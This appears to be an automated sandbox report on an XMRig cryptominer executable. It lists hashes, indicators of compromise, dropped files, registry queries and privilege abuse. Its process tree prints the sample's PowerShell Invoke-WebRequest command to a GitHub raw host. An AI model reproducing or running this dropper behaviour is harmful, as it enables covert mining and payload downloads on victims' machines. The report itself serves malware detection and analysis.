xmrig | 808e93a3d24c66fa36eeec4761c6a3cee384072d5d26318b00aacba4a9bf27ea

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 19:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
Size

1.5MB
MD5

464b54b3a6aa3a635f2f7f7c9d95b3d0
SHA1

38caad44bac5e14a1d5dfabb7b03fa86cd2e997c
SHA256

808e93a3d24c66fa36eeec4761c6a3cee384072d5d26318b00aacba4a9bf27ea
SHA512

0056fc51e61bb27d168694d31673b2e9dc36d73b9a66429efa3211094b1c07c48c0da9aa1275c0171689b6680a6f016c3c89c1a0a971b07ef4daedd99801da23
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjuJoz5XdUK6S1uBkr5GqlfiQzf0Y01XrF:Lz071uv4BPMkHC0I6Gz3N1pHVf0wc

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 13640 created 1500	13640	WerFaultSecure.exe	84

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral2/memory/4188-116-0x00007FF714070000-0x00007FF714462000-memory.dmp	xmrig
behavioral2/memory/4004-159-0x00007FF73B660000-0x00007FF73BA52000-memory.dmp	xmrig
behavioral2/memory/2104-158-0x00007FF60ACB0000-0x00007FF60B0A2000-memory.dmp	xmrig
behavioral2/memory/2692-152-0x00007FF63FA80000-0x00007FF63FE72000-memory.dmp	xmrig
behavioral2/memory/2364-141-0x00007FF757E80000-0x00007FF758272000-memory.dmp	xmrig
behavioral2/memory/724-135-0x00007FF6B2A00000-0x00007FF6B2DF2000-memory.dmp	xmrig
behavioral2/memory/4924-129-0x00007FF6081D0000-0x00007FF6085C2000-memory.dmp	xmrig
behavioral2/memory/3604-128-0x00007FF705370000-0x00007FF705762000-memory.dmp	xmrig
behavioral2/memory/4496-122-0x00007FF69D310000-0x00007FF69D702000-memory.dmp	xmrig
behavioral2/memory/4892-110-0x00007FF6B3760000-0x00007FF6B3B52000-memory.dmp	xmrig
behavioral2/memory/3020-104-0x00007FF7429F0000-0x00007FF742DE2000-memory.dmp	xmrig
behavioral2/memory/448-98-0x00007FF7DAD50000-0x00007FF7DB142000-memory.dmp	xmrig
behavioral2/memory/4404-92-0x00007FF648170000-0x00007FF648562000-memory.dmp	xmrig
behavioral2/memory/1476-91-0x00007FF61C770000-0x00007FF61CB62000-memory.dmp	xmrig
behavioral2/memory/2236-83-0x00007FF7759E0000-0x00007FF775DD2000-memory.dmp	xmrig
behavioral2/memory/2324-79-0x00007FF7E7250000-0x00007FF7E7642000-memory.dmp	xmrig
behavioral2/memory/4760-73-0x00007FF7B8A90000-0x00007FF7B8E82000-memory.dmp	xmrig
behavioral2/memory/556-69-0x00007FF6A2E80000-0x00007FF6A3272000-memory.dmp	xmrig
behavioral2/memory/3224-63-0x00007FF678060000-0x00007FF678452000-memory.dmp	xmrig
behavioral2/memory/2336-58-0x00007FF7686A0000-0x00007FF768A92000-memory.dmp	xmrig
behavioral2/memory/5116-54-0x00007FF718290000-0x00007FF718682000-memory.dmp	xmrig
behavioral2/memory/1688-26-0x00007FF643780000-0x00007FF643B72000-memory.dmp	xmrig
behavioral2/memory/4256-2503-0x00007FF7F1840000-0x00007FF7F1C32000-memory.dmp	xmrig
behavioral2/memory/5116-3354-0x00007FF718290000-0x00007FF718682000-memory.dmp	xmrig
behavioral2/memory/3604-3507-0x00007FF705370000-0x00007FF705762000-memory.dmp	xmrig
behavioral2/memory/724-3535-0x00007FF6B2A00000-0x00007FF6B2DF2000-memory.dmp	xmrig
behavioral2/memory/4924-3536-0x00007FF6081D0000-0x00007FF6085C2000-memory.dmp	xmrig
behavioral2/memory/4496-3501-0x00007FF69D310000-0x00007FF69D702000-memory.dmp	xmrig
behavioral2/memory/2104-3610-0x00007FF60ACB0000-0x00007FF60B0A2000-memory.dmp	xmrig
behavioral2/memory/2364-3544-0x00007FF757E80000-0x00007FF758272000-memory.dmp	xmrig
behavioral2/memory/2692-3541-0x00007FF63FA80000-0x00007FF63FE72000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	5112	powershell.exe
6	5112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5112	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2952	lLiUEdn.exe
1688	yDvLOUx.exe
556	lfFOOXI.exe
4760	dxzZxwm.exe
4256	rkKUics.exe
2324	OQjFYYA.exe
5116	qSgKSZB.exe
2336	LxIAXUt.exe
3224	vYvkBnV.exe
2236	XIZhjmv.exe
1476	EpynQQk.exe
4404	kdtorwP.exe
448	OEZBmfC.exe
3020	OBazZJe.exe
4892	RguFCXe.exe
4188	xXBGkNM.exe
4496	AnpvVtl.exe
3604	SxpmHSj.exe
4924	LIzxrwT.exe
724	qUnfNBk.exe
2364	mAlTNRY.exe
2692	XBnJlrp.exe
2104	nyCiMuP.exe
4004	ONwOVOB.exe
4920	PFAzhgg.exe
1804	meUKSfV.exe
4884	oaYoyHq.exe
1080	MtLrGFw.exe
4860	cyHSUBZ.exe
3120	TjIlQZu.exe
4212	xnaQTeP.exe
4540	wgRwDqQ.exe
2896	hOcmvrH.exe
216	scudfLt.exe
4816	uYmKwjt.exe
3916	SASuvii.exe
4652	bxkdLXa.exe
4284	QsQmruP.exe
1528	czADalW.exe
1852	banwykY.exe
4100	SObpUsg.exe
3812	sLyxLTm.exe
2084	CVnLQRe.exe
4444	iXvbaCa.exe
3296	GFtdcPa.exe
5096	IqOpSft.exe
1904	lePvzXu.exe
5140	hdyOKfZ.exe
5172	PrShKQc.exe
5196	eCSzZSH.exe
5224	HJmYJSg.exe
5252	NclkbEB.exe
5280	ENGQtDu.exe
5308	qHsKsIB.exe
5336	qngdZom.exe
5364	miAWjoz.exe
5392	dYuFrFo.exe
5420	uSVElnO.exe
5452	lRsSJWO.exe
5476	WVwrMkf.exe
5504	jSIKZjX.exe
5532	iEFNpgv.exe
5560	SKkeXBR.exe
5588	AOmTNXn.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1944-0-0x00007FF69D130000-0x00007FF69D522000-memory.dmp	upx
behavioral2/files/0x00090000000235f4-9.dat	upx
behavioral2/files/0x00080000000235fa-19.dat	upx
behavioral2/files/0x00070000000235fd-29.dat	upx
behavioral2/files/0x00070000000235fb-33.dat	upx
behavioral2/files/0x0007000000023600-41.dat	upx
behavioral2/files/0x00070000000235ff-47.dat	upx
behavioral2/files/0x0007000000023602-51.dat	upx
behavioral2/files/0x0007000000023604-64.dat	upx
behavioral2/files/0x0007000000023605-70.dat	upx
behavioral2/files/0x0007000000023606-84.dat	upx
behavioral2/files/0x0007000000023608-95.dat	upx
behavioral2/files/0x000700000002360a-107.dat	upx
behavioral2/memory/4188-116-0x00007FF714070000-0x00007FF714462000-memory.dmp	upx
behavioral2/files/0x000700000002360d-125.dat	upx
behavioral2/files/0x000700000002360f-138.dat	upx
behavioral2/files/0x0007000000023610-153.dat	upx
behavioral2/files/0x0007000000023612-165.dat	upx
behavioral2/files/0x0007000000023618-187.dat	upx
behavioral2/files/0x0007000000023616-185.dat	upx
behavioral2/files/0x0007000000023617-182.dat	upx
behavioral2/files/0x0007000000023615-180.dat	upx
behavioral2/files/0x0007000000023614-175.dat	upx
behavioral2/files/0x0007000000023613-170.dat	upx
behavioral2/files/0x0007000000023611-160.dat	upx
behavioral2/memory/4004-159-0x00007FF73B660000-0x00007FF73BA52000-memory.dmp	upx
behavioral2/memory/2104-158-0x00007FF60ACB0000-0x00007FF60B0A2000-memory.dmp	upx
behavioral2/memory/2692-152-0x00007FF63FA80000-0x00007FF63FE72000-memory.dmp	upx
behavioral2/files/0x000700000002360e-142.dat	upx
behavioral2/memory/2364-141-0x00007FF757E80000-0x00007FF758272000-memory.dmp	upx
behavioral2/memory/724-135-0x00007FF6B2A00000-0x00007FF6B2DF2000-memory.dmp	upx
behavioral2/files/0x000700000002360c-130.dat	upx
behavioral2/memory/4924-129-0x00007FF6081D0000-0x00007FF6085C2000-memory.dmp	upx
behavioral2/memory/3604-128-0x00007FF705370000-0x00007FF705762000-memory.dmp	upx
behavioral2/files/0x000700000002360b-123.dat	upx
behavioral2/memory/4496-122-0x00007FF69D310000-0x00007FF69D702000-memory.dmp	upx
behavioral2/files/0x0007000000023609-111.dat	upx
behavioral2/memory/4892-110-0x00007FF6B3760000-0x00007FF6B3B52000-memory.dmp	upx
behavioral2/memory/3020-104-0x00007FF7429F0000-0x00007FF742DE2000-memory.dmp	upx
behavioral2/files/0x00080000000235f8-99.dat	upx
behavioral2/memory/448-98-0x00007FF7DAD50000-0x00007FF7DB142000-memory.dmp	upx
behavioral2/files/0x0007000000023607-93.dat	upx
behavioral2/memory/4404-92-0x00007FF648170000-0x00007FF648562000-memory.dmp	upx
behavioral2/memory/1476-91-0x00007FF61C770000-0x00007FF61CB62000-memory.dmp	upx
behavioral2/memory/2236-83-0x00007FF7759E0000-0x00007FF775DD2000-memory.dmp	upx
behavioral2/memory/2324-79-0x00007FF7E7250000-0x00007FF7E7642000-memory.dmp	upx
behavioral2/memory/4760-73-0x00007FF7B8A90000-0x00007FF7B8E82000-memory.dmp	upx
behavioral2/memory/556-69-0x00007FF6A2E80000-0x00007FF6A3272000-memory.dmp	upx
behavioral2/files/0x0007000000023603-67.dat	upx
behavioral2/memory/3224-63-0x00007FF678060000-0x00007FF678452000-memory.dmp	upx
behavioral2/memory/2336-58-0x00007FF7686A0000-0x00007FF768A92000-memory.dmp	upx
behavioral2/files/0x0007000000023601-55.dat	upx
behavioral2/memory/5116-54-0x00007FF718290000-0x00007FF718682000-memory.dmp	upx
behavioral2/memory/4256-38-0x00007FF7F1840000-0x00007FF7F1C32000-memory.dmp	upx
behavioral2/files/0x00070000000235fe-37.dat	upx
behavioral2/memory/1688-26-0x00007FF643780000-0x00007FF643B72000-memory.dmp	upx
behavioral2/files/0x00070000000235fc-25.dat	upx
behavioral2/memory/2952-16-0x00007FF735600000-0x00007FF7359F2000-memory.dmp	upx
behavioral2/memory/4256-2503-0x00007FF7F1840000-0x00007FF7F1C32000-memory.dmp	upx
behavioral2/memory/5116-3354-0x00007FF718290000-0x00007FF718682000-memory.dmp	upx
behavioral2/memory/3604-3507-0x00007FF705370000-0x00007FF705762000-memory.dmp	upx
behavioral2/memory/724-3535-0x00007FF6B2A00000-0x00007FF6B2DF2000-memory.dmp	upx
behavioral2/memory/4924-3536-0x00007FF6081D0000-0x00007FF6085C2000-memory.dmp	upx
behavioral2/memory/4496-3501-0x00007FF69D310000-0x00007FF69D702000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\uHzBIjq.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\YOjSafJ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\EXDeytZ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\zNaTKno.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\ztGQdOf.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\OaVSawO.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\gVwNceV.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\BDMoNJD.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\OAaGvGk.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\OwxgOhW.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZWDEJDp.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\yRbVDdM.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\KtlXUhF.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\bcMvuKo.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\yZeufIv.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\JFClTET.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\pZXjBWy.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\yrnaYUI.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\tvqJmlb.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\pIesRDZ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\ERZBuFr.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\xznSKAx.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\OBMSnVO.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\eAsEFAW.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\kNXuOxB.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\OMqHJjr.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\SWKXZcR.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\DTkjhqg.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\MtLrGFw.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\BtnzKMO.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\efQSCJC.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\xNiGKWA.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\HBbVFqq.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\myQIgBg.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\vwjrRqn.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\DrPfZYd.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZLVktgo.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZEICOIr.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\HygHIcr.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\iNieHcx.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\RnKycXh.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\CGsBzEV.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\rQqmhlk.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\NNiNHoA.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\wgQWBpf.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\hkaneGV.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\mIGlWSr.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\FhmGJuZ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\zhMkheQ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\HlqcbRA.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\qakQHKp.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\hKqrgUR.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\VUbOPlT.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\UDkScTa.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\PVDavLt.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\jSIKZjX.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\lxuFfVh.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\AVRAGcZ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\fRjzEoD.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\uATkWfs.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\amFQOEL.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\KAgVFTZ.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\NdzqRWA.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
File created	C:\Windows\System\LWSKkAN.exe	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFaultSecure.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFaultSecure.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFaultSecure.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFaultSecure.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFaultSecure.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
14468	WerFaultSecure.exe
14468	WerFaultSecure.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
Token: SeDebugPrivilege	5112	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 5112	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	90
PID 1944 wrote to memory of 5112	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	90
PID 1944 wrote to memory of 1688	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	91
PID 1944 wrote to memory of 1688	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	91
PID 1944 wrote to memory of 2952	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	92
PID 1944 wrote to memory of 2952	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	92
PID 1944 wrote to memory of 4256	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	93
PID 1944 wrote to memory of 4256	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	93
PID 1944 wrote to memory of 556	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	94
PID 1944 wrote to memory of 556	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	94
PID 1944 wrote to memory of 4760	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	95
PID 1944 wrote to memory of 4760	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	95
PID 1944 wrote to memory of 2324	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	96
PID 1944 wrote to memory of 2324	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	96
PID 1944 wrote to memory of 5116	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	97
PID 1944 wrote to memory of 5116	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	97
PID 1944 wrote to memory of 2336	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	98
PID 1944 wrote to memory of 2336	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	98
PID 1944 wrote to memory of 3224	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	99
PID 1944 wrote to memory of 3224	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	99
PID 1944 wrote to memory of 2236	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	100
PID 1944 wrote to memory of 2236	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	100
PID 1944 wrote to memory of 1476	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	101
PID 1944 wrote to memory of 1476	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	101
PID 1944 wrote to memory of 4404	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	102
PID 1944 wrote to memory of 4404	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	102
PID 1944 wrote to memory of 448	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	103
PID 1944 wrote to memory of 448	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	103
PID 1944 wrote to memory of 3020	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	104
PID 1944 wrote to memory of 3020	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	104
PID 1944 wrote to memory of 4892	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	105
PID 1944 wrote to memory of 4892	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	105
PID 1944 wrote to memory of 4188	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	106
PID 1944 wrote to memory of 4188	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	106
PID 1944 wrote to memory of 4496	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	107
PID 1944 wrote to memory of 4496	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	107
PID 1944 wrote to memory of 3604	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	108
PID 1944 wrote to memory of 3604	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	108
PID 1944 wrote to memory of 4924	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	109
PID 1944 wrote to memory of 4924	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	109
PID 1944 wrote to memory of 724	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	110
PID 1944 wrote to memory of 724	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	110
PID 1944 wrote to memory of 2364	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	111
PID 1944 wrote to memory of 2364	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	111
PID 1944 wrote to memory of 2692	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	112
PID 1944 wrote to memory of 2692	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	112
PID 1944 wrote to memory of 2104	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	113
PID 1944 wrote to memory of 2104	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	113
PID 1944 wrote to memory of 4004	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	114
PID 1944 wrote to memory of 4004	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	114
PID 1944 wrote to memory of 4920	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	115
PID 1944 wrote to memory of 4920	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	115
PID 1944 wrote to memory of 1804	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	116
PID 1944 wrote to memory of 1804	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	116
PID 1944 wrote to memory of 4884	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	117
PID 1944 wrote to memory of 4884	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	117
PID 1944 wrote to memory of 1080	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	118
PID 1944 wrote to memory of 1080	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	118
PID 1944 wrote to memory of 4860	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	119
PID 1944 wrote to memory of 4860	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	119
PID 1944 wrote to memory of 3120	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	120
PID 1944 wrote to memory of 3120	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	120
PID 1944 wrote to memory of 4212	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	121
PID 1944 wrote to memory of 4212	1944	464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe	121

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv Q4SuyLC7zUS4ahi46CYTkA.0
1⤵
PID:1500
- C:\Windows\system32\WerFaultSecure.exe
  C:\Windows\system32\WerFaultSecure.exe -u -p 1500 -s 328
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:14468

C:\Users\Admin\AppData\Local\Temp\464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\464b54b3a6aa3a635f2f7f7c9d95b3d0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
